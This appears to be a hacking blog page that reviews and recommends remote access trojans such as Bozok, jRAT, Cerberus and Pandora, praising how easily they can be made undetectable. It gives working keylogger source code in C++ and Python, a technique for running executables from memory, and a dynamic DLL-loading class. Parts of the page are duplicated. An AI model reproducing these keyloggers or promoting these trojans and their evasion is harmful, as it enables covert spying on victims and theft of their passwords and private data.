Bozok RAT (fastest RAT)

this is also Delphi coded one and it is most fastest RAT ever made. it has  same features like other RATs but fast than others. every functions are fast in this rat.


Advantages:
  1. Coded in Delphi
    1. fast 
    2. No need framework
  2. Server small and plugin separated
    1. Server (33K)
    2. Plugins (268K)
  3. Stable
  4. Less memory using
  5. Less Processor using
  6. Good Simple UI
  7. Easy to FUD

Disadvantages:
  1. Paid RAT

File Details:

[VersionInfo] Company Name : Slayer616
[VersionInfo] Product Name : Bozok Client
[VersionInfo] Product Version : 1.4.2.0
[VersionInfo] File Description : Remote Administration Client
[VersionInfo] File Version : 1.4.2.0
[VersionInfo] Legal Copyrights : Slayer616
[CdKeySerial] found "Unregistered" @ VA: 0x001AF88D / Offset: 0x001AEC8D
[CdKeySerial] found "Invalid code" @ VA: 0x002E3E16 / Offset: 0x002E2416
[CdKeySerial] found "Invalid code" @ VA: 0x002E3E63 / Offset: 0x002E2463
[CompilerDetect] -> Borland Delphi (unknown version) - 99% probability
File Type : 32-Bit Exe (Subsystem : Win GUI / 2), Size : 3849216 (03ABC00h) Byte(s)

jRAT v5 Java Remote Administration (Best Java RAT 2016)

jRAT is promoted as a cross-platform Remote Administration Tool written in Java. For only 40$, one can buy the tool. The tool enables a customer/administrator to generate custom JAR files that gives him the possibility to remotely control a PC via a graphical user interface (GUI).



jRAT has best control panel in Java RAT.  It has many features.




Advantages:

  1. Fully Undetectable
  2. Many Options in builder
  3. Multi OS support
  4. Good UI
Disadvantages:
  1. Server is large (249K)
  2. Need java runtime to run
  3. it is eating too many memory (50Mb for one connection)

Download

C++ keylogger



#include <tchar.h>
#include <windows.h>
#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>

int Save(int out)
{
    ofstream fout("abc.txt",ios::app);
   if (out==9)
    fout<<"\nTAB\n";
   else if (out==32)
    fout<<' ';
   else if (out==13)
    fout<<'\n';
   else if (out==16)
    fout<<"\nSHIFT\n";
   else if (out>=48&&out<=59)
    fout<<out-48;
   else if (out>=65&&out<=90)
    fout<<char(tolower(out));
    fout.close();
}

int main()
{
    char i;
    while (true)
        for (i=8 ; i<190 ; i++)
            if (GetAsyncKeyState(i)==-32767)
                Save(i);
    return 0;
}

Best RAT Software tested 2016

01. Cerberus RAT

These days this RAT is not popular but it is working all new Windows OS. Cerberus  is the best, it is stable and simple and powerful.

Cerberus RAT is the most stable ,most effective RAT ever used by me. It has small server (83k) and good plugins (568k).



Advantages:

  1. Coded in Delphi
    1. fast as C++ programmed
    2. No need framework
  2. Server small and plugin separated
  3. Stable
  4. Less memory using
  5. Less Processor using
  6. Working All windows
  7. Easy to FUD






02. Bozok RAT

this is also Delphi coded one and it is most fastest RAT ever made. it has  same features like other RATs but fast than others. every functions are fast in this rat.


Advantages:
  1. Coded in Delphi
    1. fast 
    2. No need framework
  2. Server small and plugin separated
    1. Server (33K)
    2. Plugins (268K)
  3. Stable
  4. Less memory using
  5. Less Processor using
  6. Good Simple UI
  7. Easy to FUD




03. Pandora RAT

Coded by Delphi. Fast and stable. Very rich functionality. Best user interface.


Advantages:
  1. Client coded in Delphi
    1. fast 
    2. No need framework
  2. Server coded in Delphi
    1. Server (656K)
    2. Plugins included
  3. Stable
  4. Less memory using
  5. Less Processor using
  6. Most perfect UI
  7. More functions with control panel
  8. Good password recovery
Disadvantages:

  1. Server is large (650Kb)
  2. Hard to FUD


VB.Net EXE Run It from Memory


First Step

Load the EXE file in one stream and read it as an array of bytes:
// read the bytes from the application EXE file
FileStream fs = new FileStream(filePath, FileMode.Open);
BinaryReader br = new BinaryReader(fs);
byte[] bin = br.ReadBytes(Convert.ToInt32(fs.Length));
fs.Close();
br.Close();


Second Step

Use the Assembly.Load method to load the EXE file (as array of bytes) into the Assembly cache:
// load the bytes into Assembly
Assembly a = Assembly.Load(bin);
Now we can try to find the entry point of the application:
// search for the Entry Point
MethodInfo method = a.EntryPoint;
if (method != null) {
...
}
If an entry point is found, is possible to create an instance of the application Main method and invoke it from our application launcher:
// create an instance of the Startup form Main method
object o = a.CreateInstance(method.Name);
// invoke the application starting point
method.Invoke(o, null);

Vb.net DynamicAPI class to invoke Dll methods



Class module:

NotInheritable Class DynamicAPI
#Region "API"
    <Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> Private Shared Function LoadLibrary(ByVal lpFileName As String) As IntPtr
    End Function
    <Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True, CharSet:=Runtime.InteropServices.CharSet.Ansi, ExactSpelling:=True)> Private Shared Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr
    End Function
    <Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True, EntryPoint:="FreeLibrary")> Private Shared Function FreeLibrary(ByVal hModule As IntPtr) As Boolean
    End Function
#End Region
#Region "Types"
    Public Delegate Function DefaultAPI() As IntPtr
    Public Delegate Sub VoidAPI()
#End Region
#Region "Methods"
    Public Overloads Shared Function Invoke(ByVal Library As String, ByVal [Function] As String, Optional ByVal [Delegate] As Type = Nothing) As Object
        If [Delegate] = Nothing Then
            [Delegate] = GetType(DefaultAPI)
        End If
        Dim [Module] As IntPtr = LoadLibrary(Library)
        If [Module] = IntPtr.Zero Then
            Throw New Exception("Could not load DLL")
        End If
        Dim Method As IntPtr = GetProcAddress([Module], [Function])
        If Method = IntPtr.Zero Then
            FreeLibrary([Module])
            Throw New Exception("DLL was loaded but the method was not found")
        End If
        MsgBox(Method)
        Dim Value As Object = Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(Method, [Delegate]).DynamicInvoke
        FreeLibrary([Module])
        Return Value
    End Function
    Public Overloads Shared Function Invoke(ByVal Library As String, ByVal [Function] As String, ByVal [Delegate] As Type, ByVal ParamArray Arguments As Object()) As Object
        If [Delegate] = Nothing Then
            [Delegate] = GetType(DefaultAPI)
        End If
        Dim [Module] As IntPtr = LoadLibrary(Library)
        If [Module] = IntPtr.Zero Then
            Throw New Exception("Could not load DLL")
        End If
        Dim Method As IntPtr = GetProcAddress([Module], [Function])
        If Method = IntPtr.Zero Then
            FreeLibrary([Module])
            Throw New Exception("DLL was loaded but the method was not found")
        End If
        Dim Value As Object = Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(Method, [Delegate]).DynamicInvoke(Arguments)
        FreeLibrary([Module])
        Return Value
    End Function
#End Region
End Class


Sample Dll: ClassLibrary1.dll


Public Module Class1
    Public Sub Show()
        MsgBox("It works", MsgBoxStyle.Information, "Success")
    End Sub

End Module


Using method:

Private Delegate Sub Show()

Sub Main()
    DynamicAPI.Invoke("ClassLibrary1.dll", "Show", GetType(Show))
End Sub



VB.Net call method from DLL



your code in Test.dll


Public Module Class1
    Public Sub Show()
        MsgBox("It works", MsgBoxStyle.Information, "Success")
    End Sub
End Module



use the following code to run:

Dim assem As System.Reflection.Assembly = Assembly.LoadFrom("Testdll.dll")
Dim ty As Type = assem.GetType("Testdll.Class1")
Dim class1 As Object = Activator.CreateInstance(ty)
class1.Show()

 'or class1.GetType().GetMethod("Show").Invoke(Nothing,Nothing,Nothing,Nothing,Nothing)


Python Keylogger



================================================
import win32api
import sys
import pythoncom, pyHook
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
if event.Ascii != 0 or 8:
f = open ('c:\\output.txt', 'a')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = keylogs + '\n'
f.write(keylogs)
f.close()
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
================================================

Threading in VB.NET


There's two ways to do this;
  1. With the AddressOf operator to an existing method
    Sub MyBackgroundThread()
      Console.WriteLine("Hullo")
    End Sub
    And then create and start the thread with;
    Dim thread As New Thread(AddressOf MyBackgroundThread)
    thread.Start()
  2. Or as a lambda function.
    Dim thread as New Thread(
      Sub() 
        Console.WriteLine("Hullo")
      End Sub
    )
    thread.Start()

Copyright © Source Code Hacking. Designed by Momizat Team. Powered to Blogger by SpicyTweaks.

Scroll to top